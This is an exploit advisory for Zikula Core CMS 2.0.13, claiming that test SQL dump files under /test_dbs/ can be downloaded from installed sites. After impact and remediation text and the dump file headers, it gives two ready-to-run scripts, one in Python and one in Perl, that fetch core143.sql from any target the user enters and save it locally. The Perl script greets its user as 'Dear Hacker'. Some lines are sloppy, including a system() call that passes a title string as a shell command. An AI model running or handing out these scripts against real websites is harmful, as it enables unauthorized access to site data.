########################################################################### # Exploit Title : Zikula Core CMS 2.0.13 Database Disclosure # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 20/04/2019 # Vendor Homepage : ziku.la # Software Download Link : github.com/zikula/core/releases/download/2.0.13/2.0.zip # Software Information Link : ziku.la/en/documentation # Software Version : 2.0 and 2.0.13 - All Lower Versions # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : Medium # Vulnerability Type : CWE-200 [ Information Exposure ] CWE-538 [ File and Directory Information Exposure ] # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos # Acunetix Reference Link About => [ phpMyAdmin SQL Dump File ] acunetix.com/vulnerabilities/web/phpmyadmin-sql-dump/ # Acunetix Reference Link About : [ Possible Database Backup File ] acunetix.com/vulnerabilities/web/possible-database-backup/ ########################################################################### # Information about Software : **************************** Zikula Core is an Application Framework which extends Symfony 4.x and includes technologies fostering a dynamic modular development paradigm and Twig-based theming system which allows for rapid website and application development. Zikula can quickly become a Content Management System utilizing community-driven modules. ########################################################################### # Impact : *********** * The product stores sensitive information in files or directories that are accessible to actors outside of the intended control sphere. * An information exposure is the intentional or unintentional disclosure of information to an actor that is not explicitly authorized to have access to that information. * phpMyAdmin is a free software tool written in PHP, intended to handle the administration of MySQL over the World Wide Web. It can be used to dump a database or a collection of databases for backup or transfer to another SQL server (not necessarily a MySQL server). The dump typically contains SQL statements to create the table, populate it, or both. This file contains an phpMyAdmin SQL dump. This information is highly sensitive and should not be found on a production system. * It looks like this file contains a database backup/dump. Acunetix inferred this filename from the domain name. A database backup contains a record of the table structure and/or the data from a database and is usually in the form of a list of SQL statements. A database backup is most often used for backing up a database so that its contents can be restored in the event of data loss. This information is highly sensitive and should never be found on a production system. Remediation : Sensitive files such as database backups should never be stored in a directory that is accessible to the web server. As a workaround, you could restrict access to this file. # Requirements : **************** Zikula Core requires PHP >= 7.2.0 Additional server considerations can be found on the Symfony site Zikula requires more memory than typical to install. You should set your memory limit in php.ini to 128 MB for the installation process. Zikula requires that date.timezone be set in the php.ini configuration file (or .htaccess). Zikula requires AllowOverride All and the mod_rewrite module (be aware the Apache 2.3.9+ has changed the default setting for AllowOverride to None). Zikula also requires other php extensions and configurations. These are checked during the installation process and if there are problems, you will be notified. If you discover errors, check with your hosting provider on how to rectify these issues. Typically, they will require changing the php.ini file or possibly reconfiguring the php installation by your provider. ########################################################################### File : ****** /core/test_dbs/core143.sql /test_dbs/core143.sql Information : ************* -- phpMyAdmin SQL Dump -- version 4.4.10 -- phpmyadmin.net -- -- Host: localhost:3306 -- Generation Time: Nov 05, 2016 at 10:39 AM -- Server version: 5.5.42 -- PHP Version: 5.5.26 -- Database: `upgrading143back` -- Table structure for table `admin_category` -- Dumping data for table `admin_category` -- Table structure for table `users` -- Dumping data for table `users` File : ****** /test_dbs/core144.sql Information : ************* -- phpMyAdmin SQL Dump -- version 4.4.10 -- phpmyadmin.net -- -- Host: localhost:3306 -- Generation Time: Dec 08, 2016 at 04:56 PM -- Server version: 5.5.42 -- PHP Version: 5.5.26 -- Database: `144` File : ****** /test_dbs/core145.sql Information : ************* -- phpMyAdmin SQL Dump -- version 4.4.10 -- phpmyadmin.net -- -- Host: localhost:3306 -- Generation Time: Jan 12, 2017 at 10:00 AM -- Server version: 5.5.42 -- PHP Version: 5.5.26 -- Database: `zk14x` File : ****** /test_dbs/core146.sql Information : ************* -- phpMyAdmin SQL Dump -- version 4.4.10 -- phpmyadmin.net -- -- Host: localhost:3306 -- Generation Time: Apr 01, 2017 at 11:17 AM -- Server version: 5.5.42 -- PHP Version: 5.5.26 -- Database: `zk14x` ########################################################################### # Database Disclosure Information Exposure Exploit 1 : *********************************************** #!/usr/bin/python import string import re from urllib2 import Request, urlopen disc = "/test_dbs/core143.sql" url = raw_input ("URL: ") req = Request(url+disc) rta = urlopen(req) print "Result" html = rta.read() rdo = str(re.findall("resources.*=*", html)) print rdo exit ########################################################################### # Database Disclosure Information Exposure Exploit 2 : *********************************************** #!/usr/bin/perl -w # Author : KingSkrupellos # Team : Cyberizm Digital Security Army use LWP::Simple; use LWP::UserAgent; system('cls'); system('Zikula Core CMS 2.0.13 Database Disclosure Exploit'); system('color a'); if(@ARGV < 2) { print "[-]How To Use\n\n"; &help; exit(); } sub help() { print "[+] usage1 : perl $0 site.com /path/ \n"; print "[+] usage2 : perl $0 localhost / \n"; } ($TargetIP, $path, $File,) = @ARGV; $File="test_dbs/core143.sql"; my $url = "http://" . $TargetIP . $path . $File; print "\n Wait Please Dear Hacker!!! \n\n"; my $useragent = LWP::UserAgent->new(); my $request = $useragent->get($url,":content_file" => "D:/test_dbs/core143.sql"); if ($request->is_success) { print "[+] $url Exploited!\n\n"; print "[+] Database saved to D:/test_dbs/core143.sql\n"; exit(); } else { print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n"; exit(); } ########################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ###########################################################################